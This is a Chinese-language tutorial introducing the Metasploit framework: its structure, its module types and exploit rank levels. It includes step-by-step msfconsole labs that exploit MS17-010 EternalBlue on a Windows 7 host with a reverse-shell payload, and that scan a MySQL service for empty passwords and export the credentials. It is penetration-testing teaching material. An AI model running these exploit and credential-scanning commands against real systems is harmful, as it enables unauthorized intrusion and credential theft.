Metasploit 渗透测试框架介绍
- Metasploit,一个渗透测试平台。可查找、利用、验证漏洞。
-
1、基础库:metasploit 基础库文件位于源码根目录路径下的 libraries 目录中,包括 Rex、framework-core 、 framework-base 三部分。
(1)Rex 是整个框架所依赖的最基础的一些组件,如包装的网络套接字、网络应用协议客户端与服务端实现、日志子系统、渗透攻击支持例程、PostgreSQL 以及 MySQL 数据库支持等。
(2)framework-core 库负责实现所有与各种类型的上层模块及插件的交互接口; framework-base 库扩展了 framework-core。
(3)-core提供更加简单的包装例程,并为处理框架各个方面 的功能提供了一些功能类,用于支持用户接口与功能程序调用框架本身功能及框架集成模块。 -
2、模块:模块组织按照不同的用途分为 6 种类型的模块(Modules)
(1)Aux:辅助模块
(2)Exploits:渗透攻击模块
(3)Post:后渗透攻击模块
(4)Payloads:攻击载荷模块
(5)Encoders:编码器模块
(6)Nops:空指令模块
注:payload 又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的,可返回 shell,也可以 进行程序注入等。
文件位置:/usr/share/metasploit-framework/modules
。
-
3、插件:插件能够扩充框架的功能,或者组装已有功能构成高级特性的组件。插件可以集成现有的一些外部安全工具,如 Nessus、OpenVAS 漏洞扫描器等,为用户接口提供一些新的功能。文件位置:
/usr/share/metasploit-framework/plugins
。 -
4、接口:包括 msfconsole 控制终端、msfcli 命令行、msfgui 图形化界面、armitage 图形化界面 以及 msfapi 远程调用接口。
-
5、功能程序: metasploit 还提供了一系列可直接运行的功能程序,支持渗透测试者与安全人员快 速地利用 metasploit 框架内部能力完成一些特定任务。比如 msfpayload、msfencode 和 msfvenom 可以将攻击载荷封装为可执行文件、C 语言、JavaScript 语言等多种形式,并可以进行各种类型的编码。
-
在Kali中,Metasploit的文件位置在:
/usr/share/metasploit-framework
。
data:Metasploit使用的可编辑文件
documentation:为框架提供文档
tools:各种有用的命令行工具
lib:框架代码库
modules:实际的MSF模块
scripts:Meterpreter和其他脚本
plugins:在运行时加载的插件
Metasploitable2-Linux 靶机系统介绍
Metasploit 基本使用方法
- 每一个漏洞利用模块基于它们的对目标系统的潜在影响都被标记了一个 Rank 字段。
Excellent
:漏洞利用程序绝对不会使目标服务崩溃,就像 SQL 注入,命令执行,远程文件包含,本地文件包含等等。除非有特殊情况,典型的内存破坏利用程序不可以被评估为该级别。
Great
:该漏洞利用程序有一个默认的目标系统,并且可以自动检测适当的目标系统,或者在目标服务的版本检查之后可以返回到一个特定于应用的返回地址。(译者注:有些二进制的漏洞利用成功后,需要特别设置 Shell 退出后的返回地址,否则当 Shell 结束后,目标服务器会崩溃掉。)
Good
:该漏洞利用程序有一个默认目标系统,并且是这种类型软件的“常见情况”(英文,桌面应用程序的Windows 7,服务器的2012等)(译者注:这段翻译的不是很懂,因此保留原文)
Normal
:该漏洞利用程序是可靠的,但是依赖于特定的版本,并且不能或者不能可靠地自动检测。
Average
:该漏洞利用程序不可靠或者难以利用。
Low
:对于通用的平台而言,该漏洞利用程序几乎不能利用(或者低于 50% 的利用成功率)
Manual
:该漏洞利用程序不稳定或者难以利用并且基于拒绝服务(DOS)。如果一个模块只有在用户特别配置该模块的时候才会被用到,否则该模块不会被使用到,那么也可以评为该等级。(例如:exploit/unix/webapp/php_eval)
- 模块相关的命令 search 搜索的使用方法
当你使用 msfconsole 的时候,你会用到各种漏洞模块、各种插件等等。
search -h #查看帮助信息
语法:Search Keywords 参数:关键字
—>关键字支持模糊匹配,不区分大小写。
msf5 > search name:mysql #通过 name 关键字进行查找
msf5 > search path:mysql #通过路径进行查找
msf5 > search platform:mysql
msf5 > search type:exploit #通过类型(exploit, payload, auxiliary, encoder, evasion, post, or nop)进行查找
msf5 > search name:mysql type:exploit #联合查找,可以使用上面的参数自行搭配使用。如果我要查找 mysql 的 exploit 相关漏洞。
msf5 > search cve:2018 name:linux #查找 2018 年 linux 相关的漏洞模块
msf5 > search cve:CVE-2017-8464 type:exploit #根据 CVE 搜索 exploit 相关模块
- 模块相关的命令 use 的使用方法
msf5 > use exploit/unix/webapp/fusionpbx_exec_cmd_exec #加载渗透攻击模块
msf5 exploit(unix/webapp/fusionpbx_exec_cmd_exec) > #成功加载
msf5 exploit(unix/webapp/fusionpbx_exec_cmd_exec) > back #退出加载
msf5 exploit(unix/webapp/fusionpbx_exec_cmd_exec) > info #查看加载的模块信息
msf5 > info exploit/unix/webapp/fusionpbx_exec_cmd_exec #查看加载的模块信息
实战-使用 MSF 渗透攻击 Win7 主机并远程执行命令
- 漏洞扫描:
msf5 > use auxiliary/scanner/smb/smb_ms17_010 #加载该漏洞的扫描模块
msf5 auxiliary(scanner/smb/smb_ms17_010) > show options #查看模块需要配置的信息
msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.34.12 #需要我们配置 RHOST 主机IP
msf5 auxiliary(scanner/smb/smb_ms17_010) > run #开始扫描
- 漏洞利用:
msf5 > use exploit/windows/smb/ms17_010_eternalblue #使用 use 命令加载漏洞利用模块
msf5 exploit(windows/smb/ms17_010_eternalblue) > show options
msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.34.12
msf5 exploit(windows/smb/ms17_010_eternalblue) > show targets #查看该漏洞涉及版本
msf5 exploit(windows/smb/ms17_010_eternalblue) > search windows/x64/shell type:payload #找一个 payload,获取 shell 远程连接权限后,进行远程执行命令msf5
msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/shell/reverse_tcp_rc4 #将payload加载到当前漏洞利用模块。
msf5 exploit(windows/smb/ms17_010_eternalblue) > show options
msf5 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.34.15 #设置监听的主机(可以是本机kali,也可以是另外的一个监听主机)
msf5 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 6666 #设置监听的端口,可默认。
msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit #攻击
----------------------------此时已获取到目标shell-------------------------------------
- 总结使用 metasploit 攻击的步骤:
1、查找 CVE 公布的漏洞
2、查找对应的 exploit 模块
3、配置模块参数
4、添加 payload 后门
5、执行 exploit 开始攻击
实战-使用 msf 扫描靶机上 mysql 服务的空密码
msf5 > search mysql_login #搜索MySQL登录的模块
msf5 > use auxiliary/scanner/mysql/mysql_login #加载模块
msf5 auxiliary(scanner/mysql/mysql_login) > show options #查看模块配置项
msf5 auxiliary(scanner/mysql/mysql_login) > set RHOSTS target_ip #设置目标主机
msf5 auxiliary(scanner/mysql/mysql_login) > exploit #配置完成以后我们执行 run 或者 exploit
msf5 auxiliary(scanner/mysql/mysql_login) > creds
将扫描的结果导出 Metasploit 与导入另一台机器的 Metasploit 中
- 在Metasploit中,数据库后端命令:
db_connect 连接到现有数据库
db_disconnect断开与当前数据库实例的连接
db_export 导出包含数据库内容的文件
db_import 导入扫描结果文件(文件类型会被自动识别)
将前面扫描 mysql 数据库空密码信息导出:
msf5 auxiliary(scanner/mysql/mysql_login) > db_export -f xml /root/bak.xml
注:导出只支持两种格式:xml 和 pwdump
msf5 > db_import /root/bak.xml